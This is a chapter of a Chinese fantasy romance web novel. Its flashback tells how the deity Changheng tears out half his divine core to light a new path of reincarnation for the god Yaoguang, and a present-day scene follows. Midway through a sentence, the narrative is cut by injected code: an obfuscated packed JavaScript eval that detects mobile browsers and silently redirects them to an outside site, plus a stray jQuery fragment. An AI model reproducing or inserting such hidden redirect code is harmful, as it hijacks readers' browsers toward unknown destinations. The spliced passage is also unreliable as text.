25. 轮入
    冥界,轮入台。

    人人谈之色变的冥界,出乎意料地,并不是传说中魑魅横行的可怖模样。

    冥界深居地下,天色是常年的黯,高低绵延的楼阁沿浩浩汤汤的三途川渐次排去,大片赭色的彼岸花被来自地底深处的风静默拂过,落下的细碎花粉便化为赤色冥蝶,顺着长风的方向,跟随历经几世轮回也消磨不掉的爱与念,一同再进轮入台。

    轮入台作为生与死最后的交接,平日里除了摆渡生死的判官和府君,几乎很少人踏足,但今日罕见地,轮入台的高阶上,隐约站立着两个人,两人的衣袍都是相似的深色,远远望去,几乎要和脚下苍茫的三途川融为一体。

    若此时有冥界的鬼差经过,必会大吃一惊,因为轮入台旁站着的,并不是别人,而是平日里神龙见首不见尾的青冥府君云孤城,以及现任桃止山君,夜阑。

    “师兄久不来冥界一趟,想必也和本君一般,望见轮入台,竟然起了变化。”

    说话的是桃止山君夜阑,当年最具天资继任桃止山君的云孤城,为求得一人相守白头而放弃继位,便由当时还是和他一同位列四方府君、亦是他师妹的夜阑继任。

    夜阑卧听风吹雨,人如其名,夜阑天生就带着一股不近人情的冷,皮肤是久不见天日的苍白,漆黑如夜的长发被冷风带起丝缕,更衬得眼底是一片毫无感情的荒芜。

    “若不是见轮入台有异动,我都已经忘记,和长蘅立下誓约,是那么久之前的事了。”

    云孤城走到轮入台旁,指尖轻拂过轮入台旁孤伶伶立着的树,低语道。

    “是啊,久到年轻的冥界神官们都不知道,最开始的轮回入口,并不在轮入台。”

    夜阑低垂着眼睫说道,像是隔着滚滚三途川,看向什么遗留在长河里的旧事。

    夜阑到现在还记得,当年长蘅手持长剑,孤身一人连闯十八道鬼府,浑身浴血杀到桃止山殿的模样。

    彼时夜阑和云孤城尚是被给予厚望,天资出众又意气风发的冥界府君,听到动静赶至桃止山殿时,都被长蘅眼底烧红的狠戾模样给震慑在了原地。

    连闯十八道鬼府的长蘅已近神力耗竭,额发散乱,持剑的手都在微微颤抖着,几乎要拿不稳了,青衣上满是落梅般的血痕,偏生一双眼像映着三途川最殷红的那片彼岸花一般,猩红一片。

    当他感受到来自夜阑和云孤城身上的灵力波动时,倏然抬眼,目光像沾着致命毒药、见血封喉的神兵利器,那一瞬间,夜阑恍然觉得,眼前这个沾满血腥气的神君,宛若堕落天修罗,比起冥界里罪孽深重的恶鬼,也不遑多让。

    “摇光……摇光的神魂,在哪……”

    长蘅勉力抬剑横指,气息浮动地问道。

    纵然长蘅的身形看起来都有些摇摇欲坠了,但他连斩十八道鬼府的恶名已然在冥界传开,他还没怎么样,在场作围合之势防着他的鬼众,不自觉地后退了一大步,平白空出了大片空间。

    “摇光上神……摇光上神神魂俱灭,轮回路远,怕是……怕是无力,无力度轮回。”

    夜阑和云孤城倒是不怕他,他俩拂开鬼众,走到长蘅面前,不知怎么地,从长蘅狠厉如同厉鬼的疯劲下,竟能看出了些穷途末路的恸意。

    “你们带我去。”

    长蘅状似未闻,目光空茫地低声说道。

    “但是……”

    “我说了,你们,带我去。”

    云孤城皱了皱眉,像是想说些什么,话未出口,便被长蘅盯着双眼,一字一句地打断了。

    长蘅声线嘶哑,如同喉中哽着一腔的热血,却已然不知要向谁去了。

    云孤城静默地看了长蘅半晌,良久,叹息着说了声好。

    摇光上神的陨落,是件秘辛,连九天之上的上神们都只能知道个囫囵大概,更不用说远离天宫的冥界神官们,因此夜阑和云孤城也只能由着长蘅,将他带到了六道轮回的入口处。

    冥河滚滚,天色苍茫,浑身沾满血腥尘埃的年轻神官孤身站立在六道轮回旁,长风万里,不见故人归。

    “你们刚说,他无力……无力度轮回,是什么意思?”

    长蘅说着这话时,声线很轻,像是难以置信,又像是怕惊扰什么天人清梦。

    “轮回之路,更深路远,魂魄健全的魂灵尚且心有余悸,更不要说……”

    言及至此,夜阑像是有些不忍心继续说下去了。

    “更不要说什么?”

    长蘅的尾音很轻,像是一场孤梦,被冥界来自地底的冷风,一吹就散了。

    “更不要说摇光上神神魂俱散,对轮回之路,有本能地抗拒。”云孤城低声道。

    “啊……原来他是怕了啊……”

    长蘅轻声笑了一下,像是极偏爱,又像极眷念,眉梢眼角,都是和身上血气迥然不同的温柔。

    夜阑和云孤城还没反应过来长蘅话语里的未尽之意,便见他倏然抬手,五指为剑,闪电般地直直插入自己胸口!

    夜阑和云孤城大惊,一同飞身过去想制住长蘅的动作:“你疯了?!神官若自剖神格,将瞬间坠为凡人,坠入轮回,修为尽毁!”

    “我知道。”

    长蘅作为第一个由凡人飞升的神官,根骨和天资是何其出众,更不要说他那一腔向着摇光的孤勇。

    待到夜阑二人反应过来时,长蘅已经生生地将半颗神格剖了出来,素来苍白的指尖血淋淋一片,小半神格静默地躺在他的掌间,隐约跃动着浅金的流光。

    “本来就是他替我挣出的飞升之道,这身神力值个多少两?为他舍了又有何不可,更何况…..”

    长蘅笑了一下,话语间都是四季凋零的苍茫:“更何况,他怕了啊,轮回路上,我又有什么理由不来陪陪他?”

    夜阑和云孤城闻言,怔愣在了原地。

    长蘅没有再理会被震慑在了原地的两人,唇边染血,勉力凝神催动开始快速流散的神力。

    只见在长蘅强悍灵力的扰动下,原本六道轮回的入口被强行改变,一座高台依树拔地而起,一时之间,风声鬼唳,万鬼同悲,如刀剑灌耳,连夜阑和云孤城都不由自主地捂住双耳。

    但长蘅像是置若罔闻,明明自剖神格的痛并不亚于抽离神魂,但长蘅看起来恍然不觉疼一般,随着长蘅强行逆转天命,四周骤然而起的风越来越盛,连平缓流淌了数千上万年的三途川也起了旋涡。

    风声嘶鸣,近似鬼号,盛怒的天威压得长蘅再也承受不住,唇边溢出了殷红的血。

    一步,两步,三步……

    风声四起,长蘅不得不祭起周身神力才能勉力前行,他本就几近强弩之末,四周的风墙磋磨着他所剩无几神识,但他仍死命咬紧牙,步伐不稳地接近那座高台。

    几步路的时间,像是被拉得无限那么长,在神力消散殆尽之前,长蘅紧攥着半颗还带着胸腔温热的神格,跋涉到了那棵孤树旁,像是终于体力不□□般,指骨一松,神格从指间落下。

    在神格落入地上的一瞬间,那棵孤伶伶的孤树像是枯木逢春,刹那便生出绵延枝叶,亭亭如冠,树影婆娑,给原本森冷荒莽的冥界,蒙上了一层恍然的温柔。

    在轮入台落定的那一刻,长蘅一直强撑着的心气像是松了下来一般,这口气一松,便再也支撑不住沉重的肢骸,捂着还在不停渗血的心口,脱力般地倚着轮入台滑坐下来,不多时,止不住的血便渗透了地面,将轮入台的边缘,染了一层苍茫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220939|147970||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的血色。

    但长蘅像是不知疼的那般,几乎要失去焦距的目光散漫在空中,望着渺茫的远空,唇角微微勾着,像是要透过繁盛的枝叶,再望见什么人一般。

    神格既落,枯木逢春,新的轮回路便已成,只是那个自剖神格的神官,神力枯竭,几近神寂。

    一直站在长蘅身后的夜阑和云孤城,像是再也不忍卒视,快步走到长蘅身旁,只是他身上的血是那样多,他们两人根本不知要从何处下手为长蘅疗伤。

    纵使是见惯生死的冥界神官,夜阑也被震慑得说不出话来,她看了气息奄奄的长蘅半天,良久才声线喑哑地问:

    “长蘅神君,何至于此,何至于此啊。”

    长蘅闻言,闭着眼微微一笑,气息浮动微弱地开口:“他是无上的神,他爱世人,而我…..”

    言及至此,长蘅重重一喘息,连着血沫咳嗽了半晌,才继续声线不稳地说道:“而我,只他一人,就是我的众生。”

    “天若不许……我偏要强求。”

    大概是话语里的偏爱太过浓烈,如云孤城和夜阑这般,尚未学会情与欲的年轻神官,被震撼到久久不能回神。

    轮入台旁的那棵高树将长蘅身上的血气和神力吸收干净后,便停止了生长,枝叶扶疏,连绵如涛,荧荧微光流转,守着那一方并不大的轮入台,温柔而沉默地指引着轮回之路。

    见状,长蘅像是终于能放下心一般,眼睑低垂,眼底的亮光倏而熄灭,在归于神寂虚无的那一刻,夜阑和云孤城似是模糊听到他说:

    “他怕黑……我便用半个神格点亮轮回路,陪他度轮回,还望二位神官大人护好这株神树,待何日此树神光熄灭,便是我与他轮回归来了,长蘅任性,便……便有劳二位神官大人了……“

    “不过是区区使神光不熄,小事一桩……”

    云孤城似是不忍地顿了顿,才继续说:“神界向来清寂,在下从未见过如神君一般真性情的人,不过是守神光不熄,神君……神君便放心去吧。”

    “好……如此便多谢了……”

    长蘅得了应允,像是放下最为牵挂的一桩事,眼底光亮尽数熄灭,摇光,风声如涛,若你入轮回时看见一点亮光,不要怕,那是我来陪你了。

    “轮入台旁的神树与你我神魂相连,昨日我感受到了神树的灵力波动,特意从人间赶了回来,原本以为相隔了这么多年,只是我一时错觉,没想到,山君你也来了。”

    见夜阑望着茫茫三途川半天没说话,云孤城走到她身边,轻声道。

    “什么山君不山君,不过是忝居罢了。”

    闻言,夜阑回过神来,行到轮入台旁,指尖拂过神树上暗红如同血色的痕迹,低声说道:“神树常年不熄的流光源于长蘅神君的神格,若不是长蘅神君和摇光上神业已轮回,这棵神树的光断然不会熄灭。”

    夜阑说这话时,恰好长风起,吹动两人深蓝色的衣角,也拂过三途川旁绵延的彼岸花,像是骤然起了一片赤色的海浪,云孤城抬手捻住了一片落叶,喟叹道:“我以前尚不知为何要这般强求,现在懂了,希望故人,归来有期罢。”

    溢津,尸洞。

    顾珩很难说清楚,当宋浅言神智昏聩般将自己揽入怀中,还极眷念地埋首在自己颈脖间时,当时是作何感想,抑或者说当时神识一片空白,手足无措地,来不及做任何反应。

    不合时宜地,他恍然回想起曾经做过的那些奇怪的梦境,想起梦里无边的天宫和不息的长风,想起那袭染血的青衣,还有那双即使映满泼天血色,依然亮得惊人的眼。

    鬼使神差,他抚上宋浅言的后颈,抬手顺了顺披散在肩后的长发,轻声说了句:“别难过了,我在。”